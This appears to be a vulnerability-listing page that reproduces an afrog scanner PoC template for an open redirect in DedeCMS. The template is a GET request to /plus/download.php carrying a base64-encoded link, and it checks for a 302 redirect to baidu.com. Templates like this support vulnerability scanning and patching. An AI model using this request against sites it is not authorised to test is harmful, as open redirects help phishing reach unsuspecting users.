dedecms-url-redirection: DedeCMS URL Redirection

2025-08-01 Dede CMS PoC Public

Description

DedeCMS URL Redirection

PoC

id: dedecms-url-redirection

info:
  name: DedeCMS URL Redirection
  author: cc_ci
  severity: low
  description: |-
    DedeCMS URL Redirection
  tags: dedecms,url-redirection
  created: 2023/08/13

rules:
  r0:
    request:
      method: GET
      path: /plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D
    expression: response.status == 302 && response.headers["location"] == "http://www.baidu.com"
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/dedecms-url-redirection.yaml

References

Related Vulnerabilities